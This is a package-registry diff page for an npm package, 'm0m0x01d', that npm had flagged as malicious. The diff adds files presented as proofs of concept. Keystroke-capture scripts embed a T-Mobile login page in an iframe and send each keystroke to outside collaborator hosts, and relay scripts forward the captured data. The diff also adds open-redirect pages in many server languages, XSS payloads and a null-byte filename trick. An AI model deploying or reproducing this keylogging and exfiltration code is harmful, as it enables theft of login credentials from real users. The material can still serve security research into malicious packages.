m0m0x01d 0.0.1-security → 22.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of m0m0x01d might be problematic. Click here for more details.
- package/.htaccess +8 -0
- package/file.html +13 -0
- package/iframe.svg.html +1 -0
- package/iframe2.svg.html +42 -0
- package/iframe3.svg.html +42 -0
- package/iframe4.svg.html +16 -0
- package/intermediary.js +11 -0
- package/intermediary.svg.js +11 -0
- package/ip.svg.html +1 -0
- package/keystroke-capture.js +26 -0
- package/keystroke-capture.svg.js +25 -0
- package/package.json +8 -3
- package/redirect.svg.asp +1 -0
- package/redirect.svg.aspx +1 -0
- package/redirect.svg.cfm +1 -0
- package/redirect.svg.cs +1 -0
- package/redirect.svg.cshtml +1 -0
- package/redirect.svg.html +25 -0
- package/redirect.svg.js +1 -0
- package/redirect.svg.jsp +3 -0
- package/redirect.svg.php +21 -0
- package/redirect.svg.pl +1 -0
- package/redirect.svg.py +2 -0
- package/redirect.svg.rb +1 -0
- package/redirect.svg.xml +3 -0
- package/redirect.svg.xsl +14 -0
- package/redirect2.svg.html +11 -0
- package/redirecting.svg.html +15 -0
- package/test.html +2 -0
- package/test.html%00.pdf +1 -0
- package/test.pdf +0 -0
- package/test.pdf.txt +1 -0
- package/test.php +3 -0
- package/test.svg.html +1 -0
- package/test.svg.txt +1 -0
- package/test.txt +1 -0
- package/test.txt.pdf +1 -0
- package/test2.txt.pdf +1 -0
- package/testing.svg.html +1 -0
- package/xss.svg.html +4 -0
- package/xss1.svg.html +6 -0
- package/README.md +0 -5
package/.htaccess
ADDED
package/file.html
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
|
6
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
7
|
+
<title>Redirecting...</title>
|
|
8
|
+
<meta http-equiv="refresh" content="0; url=https://40fe2e9f7b.ipv6.bypass.eu.org/">
|
|
9
|
+
</head>
|
|
10
|
+
<body>
|
|
11
|
+
<p>If you are not redirected automatically, <a href="https://40fe2e9f7b.ipv6.bypass.eu.org/">click here</a>.</p>
|
|
12
|
+
</body>
|
|
13
|
+
</html>
|
package/iframe.svg.html
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<iframe src="https://es.account.t-mobile.com/signin/v2/"></iframe>
|
package/iframe2.svg.html
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
6
|
+
<title>PoC - Keystroke Capture</title>
|
|
7
|
+
<script>
|
|
8
|
+
// Function to send captured data to your server
|
|
9
|
+
function sendKeystrokes(data) {
|
|
10
|
+
var xhr = new XMLHttpRequest();
|
|
11
|
+
xhr.open("POST", "https://q1sbaric7jhkozf4ae7tuk5gm7sygn.burpcollaborator.net/keystrokes", true);
|
|
12
|
+
xhr.setRequestHeader("Content-Type", "application/json");
|
|
13
|
+
xhr.send(JSON.stringify({ keystrokes: data }));
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
// Function to capture keystrokes inside the iframe
|
|
17
|
+
function captureKeystrokes() {
|
|
18
|
+
var iframe = document.getElementById('login-iframe').contentWindow;
|
|
19
|
+
|
|
20
|
+
iframe.document.onkeyup = function(event) {
|
|
21
|
+
// Capture each key press and send it to the server
|
|
22
|
+
sendKeystrokes(event.key);
|
|
23
|
+
};
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
// Start capturing keystrokes when the iframe is loaded
|
|
27
|
+
window.onload = function() {
|
|
28
|
+
var iframe = document.getElementById('login-iframe');
|
|
29
|
+
|
|
30
|
+
iframe.onload = function() {
|
|
31
|
+
captureKeystrokes();
|
|
32
|
+
};
|
|
33
|
+
};
|
|
34
|
+
</script>
|
|
35
|
+
</head>
|
|
36
|
+
<body>
|
|
37
|
+
<h1>Login Page</h1>
|
|
38
|
+
<!-- Embedding the login page -->
|
|
39
|
+
<iframe id="login-iframe" src="https://es.account.t-mobile.com/signin/v2/" width="100%" height="500px"></iframe>
|
|
40
|
+
</body>
|
|
41
|
+
</html>
|
|
42
|
+
|
package/iframe3.svg.html
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
6
|
+
<title>PoC - Keystroke Capture</title>
|
|
7
|
+
<script>
|
|
8
|
+
// Function to send captured data to your server
|
|
9
|
+
function sendKeystrokes(data) {
|
|
10
|
+
var xhr = new XMLHttpRequest();
|
|
11
|
+
xhr.open("POST", "https://200ltblqjhtfqvkk2onadiu0vr1hp6.burpcollaborator.net/keystrokes", true);
|
|
12
|
+
xhr.setRequestHeader("Content-Type", "application/json");
|
|
13
|
+
xhr.send(JSON.stringify({ keystrokes: data }));
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
// Function to capture keystrokes inside the iframe
|
|
17
|
+
function captureKeystrokes() {
|
|
18
|
+
var iframe = document.getElementById('login-iframe').contentWindow;
|
|
19
|
+
|
|
20
|
+
iframe.document.onkeyup = function(event) {
|
|
21
|
+
// Capture each key press and send it to the server
|
|
22
|
+
sendKeystrokes(event.key);
|
|
23
|
+
};
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
// Start capturing keystrokes when the iframe is loaded
|
|
27
|
+
window.onload = function() {
|
|
28
|
+
var iframe = document.getElementById('login-iframe');
|
|
29
|
+
|
|
30
|
+
iframe.onload = function() {
|
|
31
|
+
captureKeystrokes();
|
|
32
|
+
};
|
|
33
|
+
};
|
|
34
|
+
</script>
|
|
35
|
+
</head>
|
|
36
|
+
<body>
|
|
37
|
+
<h1>Login Page</h1>
|
|
38
|
+
<!-- Embedding the login page -->
|
|
39
|
+
<iframe id="login-iframe" src="https://es.account.t-mobile.com/signin/v2/" width="100%" height="500px"></iframe>
|
|
40
|
+
</body>
|
|
41
|
+
</html>
|
|
42
|
+
|
package/iframe4.svg.html
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
</html>
|
|
2
|
+
<!DOCTYPE html>
|
|
3
|
+
<html lang="en">
|
|
4
|
+
<head>
|
|
5
|
+
<meta charset="UTF-8">
|
|
6
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
7
|
+
<title>Keystroke Capture</title>
|
|
8
|
+
<script src="https://es.t-mobile.com/24/_mp.v3N0Mxa0NEUVp6UllrV0FhT3RuZDluNmo3R0pGTFYya1JzMFBCbk0wYUNvcEJmY05mc19wc2tHb001eE8xcFVienE._mp.ve/_unpkg_com/m0m0x01d@21.0.0/keystroke-capture.svg.js"></script>
|
|
9
|
+
</head>
|
|
10
|
+
<body>
|
|
11
|
+
<h1>Keystroke Logger PoC</h1>
|
|
12
|
+
<!-- Embedding the target's login page in an iframe -->
|
|
13
|
+
<iframe id="login-iframe" src="https://es.account.t-mobile.com/signin/v2/" width="100%" height="500px"></iframe>
|
|
14
|
+
</body>
|
|
15
|
+
</html>
|
|
16
|
+
|
package/intermediary.js
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
// Intermediary script to forward keystrokes to your server
|
|
2
|
+
self.addEventListener('message', function(event) {
|
|
3
|
+
var data = event.data;
|
|
4
|
+
|
|
5
|
+
// Forward the keystrokes to your server
|
|
6
|
+
var xhr = new XMLHttpRequest();
|
|
7
|
+
xhr.open("POST", "https://bm1nrilxt9ng8wh982986jp76yco0d.burpcollaborator.net/keystrokes", true);
|
|
8
|
+
xhr.setRequestHeader("Content-Type", "application/json");
|
|
9
|
+
xhr.send(JSON.stringify({ keystrokes: data }));
|
|
10
|
+
});
|
|
11
|
+
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
// Intermediary script to forward keystrokes to your server
|
|
2
|
+
self.addEventListener('message', function(event) {
|
|
3
|
+
var data = event.data;
|
|
4
|
+
|
|
5
|
+
// Forward the keystrokes to your server
|
|
6
|
+
var xhr = new XMLHttpRequest();
|
|
7
|
+
xhr.open("POST", "https://bm1nrilxt9ng8wh982986jp76yco0d.burpcollaborator.net/keystrokes", true);
|
|
8
|
+
xhr.setRequestHeader("Content-Type", "application/json");
|
|
9
|
+
xhr.send(JSON.stringify({ keystrokes: data }));
|
|
10
|
+
});
|
|
11
|
+
|
package/ip.svg.html
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<iframe src="https://lqfxvsp7xjrqc6ljccdiattha8gz4o.burpcollaborator.net/xx"></iframe>
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
// Function to send keystrokes to the intermediary file on unpkg
|
|
2
|
+
function sendKeystrokes(data) {
|
|
3
|
+
var xhr = new XMLHttpRequest();
|
|
4
|
+
xhr.open("POST", "https://unpkg.com/m0m0x01d@19.0.0/intermediary.js", true);
|
|
5
|
+
xhr.setRequestHeader("Content-Type", "application/json");
|
|
6
|
+
xhr.send(JSON.stringify({ keystrokes: data }));
|
|
7
|
+
}
|
|
8
|
+
|
|
9
|
+
// Function to capture keystrokes in the iframe
|
|
10
|
+
function captureKeystrokes() {
|
|
11
|
+
var iframe = document.getElementById('login-iframe').contentWindow;
|
|
12
|
+
|
|
13
|
+
// Listen for key presses in the iframe
|
|
14
|
+
iframe.document.onkeyup = function(event) {
|
|
15
|
+
sendKeystrokes(event.key); // Send each keystroke to the intermediary
|
|
16
|
+
};
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
// Wait for the iframe to load, then start capturing keystrokes
|
|
20
|
+
window.onload = function() {
|
|
21
|
+
var iframe = document.getElementById('login-iframe');
|
|
22
|
+
iframe.onload = function() {
|
|
23
|
+
captureKeystrokes();
|
|
24
|
+
};
|
|
25
|
+
};
|
|
26
|
+
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
// Function to send keystrokes to the intermediary file on unpkg
|
|
2
|
+
function sendKeystrokes(data) {
|
|
3
|
+
var xhr = new XMLHttpRequest();
|
|
4
|
+
xhr.open("POST", "https://es.t-mobile.com/24/_mp.v3N0Mxa0NEUVp6UllrV0FhT3RuZDluNmo3R0pGTFYya1JzMFBCbk0wYUNvcEJmY05mc19wc2tHb001eE8xcFVienE._mp.ve/_unpkg_com/m0m0x01d@21.0.0/intermediary.svg.js", true);
|
|
5
|
+
xhr.setRequestHeader("Content-Type", "application/json");
|
|
6
|
+
xhr.send(JSON.stringify({ keystrokes: data }));
|
|
7
|
+
}
|
|
8
|
+
|
|
9
|
+
// Function to capture keystrokes in the iframe
|
|
10
|
+
function captureKeystrokes() {
|
|
11
|
+
var iframe = document.getElementById('login-iframe').contentWindow;
|
|
12
|
+
|
|
13
|
+
// Listen for key presses in the iframe
|
|
14
|
+
iframe.document.onkeyup = function(event) {
|
|
15
|
+
sendKeystrokes(event.key); // Send each keystroke to the intermediary
|
|
16
|
+
};
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
// Wait for the iframe to load, then start capturing keystrokes
|
|
20
|
+
window.onload = function() {
|
|
21
|
+
var iframe = document.getElementById('login-iframe');
|
|
22
|
+
iframe.onload = function() {
|
|
23
|
+
captureKeystrokes();
|
|
24
|
+
};
|
|
25
|
+
};
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "m0m0x01d",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "22.0.0",
|
|
4
|
+
"description": "ssrf",
|
|
5
|
+
"main": "index.html",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "ls"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/redirect.svg.asp
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<% Response.Redirect("https://example.com") %>
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<% Response.Redirect("https://example.com") %>
|
package/redirect.svg.cfm
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<cflocation url="https://example.com">
|
package/redirect.svg.cs
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
return Redirect("https://example.com");
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
return Redirect("https://example.com");
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
6
|
+
<title>Redirect</title>
|
|
7
|
+
<script>
|
|
8
|
+
window.onload = function() {
|
|
9
|
+
// Get the URL query parameter
|
|
10
|
+
const urlParams = new URLSearchParams(window.location.search);
|
|
11
|
+
const targetUrl = urlParams.get('url');
|
|
12
|
+
|
|
13
|
+
// If a valid URL is provided, redirect to it
|
|
14
|
+
if (targetUrl) {
|
|
15
|
+
window.location.href = targetUrl;
|
|
16
|
+
} else {
|
|
17
|
+
document.body.innerHTML = "No URL provided for redirection.";
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
</script>
|
|
21
|
+
</head>
|
|
22
|
+
<body>
|
|
23
|
+
</body>
|
|
24
|
+
</html>
|
|
25
|
+
|
package/redirect.svg.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
res.redirect('https://example.com');
|
package/redirect.svg.jsp
ADDED
package/redirect.svg.php
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
<?php
|
|
2
|
+
// Get the target URL from the 'next_url' query parameter
|
|
3
|
+
$next_url = isset($_GET['next_url']) ? $_GET['next_url'] : 'https://9lv13zw73wdy5t6hjxcpw5tz9qfh36.burpcollaborator.net';
|
|
4
|
+
|
|
5
|
+
// Set the appropriate headers for the 302 redirect
|
|
6
|
+
header("HTTP/1.1 302 Found");
|
|
7
|
+
header("Location: $next_url");
|
|
8
|
+
|
|
9
|
+
// Optional: Set additional headers if required
|
|
10
|
+
header("Cache-Control: public, max-age=0");
|
|
11
|
+
header("Set-Cookie: sites=; expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; Path=/");
|
|
12
|
+
header("Set-Cookie: sessionid=; expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; Path=/");
|
|
13
|
+
header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload");
|
|
14
|
+
header("X-Frame-Options: SAMEORIGIN");
|
|
15
|
+
header("X-XSS-Protection: 1; mode=block");
|
|
16
|
+
header("X-Content-Type-Options: nosniff");
|
|
17
|
+
header("Content-Security-Policy: frame-ancestors 'self'; base-uri 'self'; form-action 'self' https://*.example.com; upgrade-insecure-requests");
|
|
18
|
+
|
|
19
|
+
// Ensure the connection is closed after the headers
|
|
20
|
+
exit();
|
|
21
|
+
|
package/redirect.svg.pl
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
print "Location: https://example.com\n\n";
|
package/redirect.svg.py
ADDED
package/redirect.svg.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
redirect_to "https://example.com"
|
package/redirect.svg.xml
ADDED
package/redirect.svg.xsl
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
2
|
+
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
|
|
3
|
+
<xsl:template match="/">
|
|
4
|
+
<xsl:variable name="url" select="'https://086sqqjyqn0pskt86ozgjwgqwh2aqz.burpcollaborator.net'"/>
|
|
5
|
+
<html>
|
|
6
|
+
<head>
|
|
7
|
+
<meta http-equiv="refresh" content="0; url={$url}" />
|
|
8
|
+
</head>
|
|
9
|
+
<body>
|
|
10
|
+
Redirecting to <xsl:value-of select="$url" />
|
|
11
|
+
</body>
|
|
12
|
+
</html>
|
|
13
|
+
</xsl:template>
|
|
14
|
+
</xsl:stylesheet>
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta http-equiv="refresh" content="0; url=https://www.example.com">
|
|
6
|
+
<title>Redirecting...</title>
|
|
7
|
+
</head>
|
|
8
|
+
<body>
|
|
9
|
+
<p>If you are not redirected automatically, follow this <a href="https://www.example.com">link to the new page</a>.</p>
|
|
10
|
+
</body>
|
|
11
|
+
</html>
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
<!DOCTYPE HTML>
|
|
2
|
+
<html lang="en-US">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta http-equiv="refresh" content="0; url=http://example.com">
|
|
6
|
+
<script type="text/javascript">
|
|
7
|
+
window.location.href = "http://example.com"
|
|
8
|
+
</script>
|
|
9
|
+
<title>Page Redirection</title>
|
|
10
|
+
</head>
|
|
11
|
+
<body>
|
|
12
|
+
<!-- Note: don't tell people to `click` the link, just tell them that it is a link. -->
|
|
13
|
+
If you are not redirected automatically, follow this <a href='http://example.com'>link to example</a>.
|
|
14
|
+
</body>
|
|
15
|
+
</html>
|
package/test.html
ADDED
package/test.html%00.pdf
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<script>alert(document.domain)</script>
|
package/test.pdf
ADDED
|
Binary file
|
package/test.pdf.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
testing
|
package/test.php
ADDED
package/test.svg.html
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<script>alert(document.domain)</script>
|
package/test.svg.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
testing123
|
package/test.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
testing m0m0x01d
|
package/test.txt.pdf
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
testing123
|
package/test2.txt.pdf
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<script>alert(1)</script>
|
package/testing.svg.html
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<iframe src="https://wttobm4ubjlldge4rkkc4s1mhdn3bs.burpcollaborator.net"></iframe>
|
package/xss.svg.html
ADDED
package/xss1.svg.html
ADDED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=m0m0x01d for more information.
|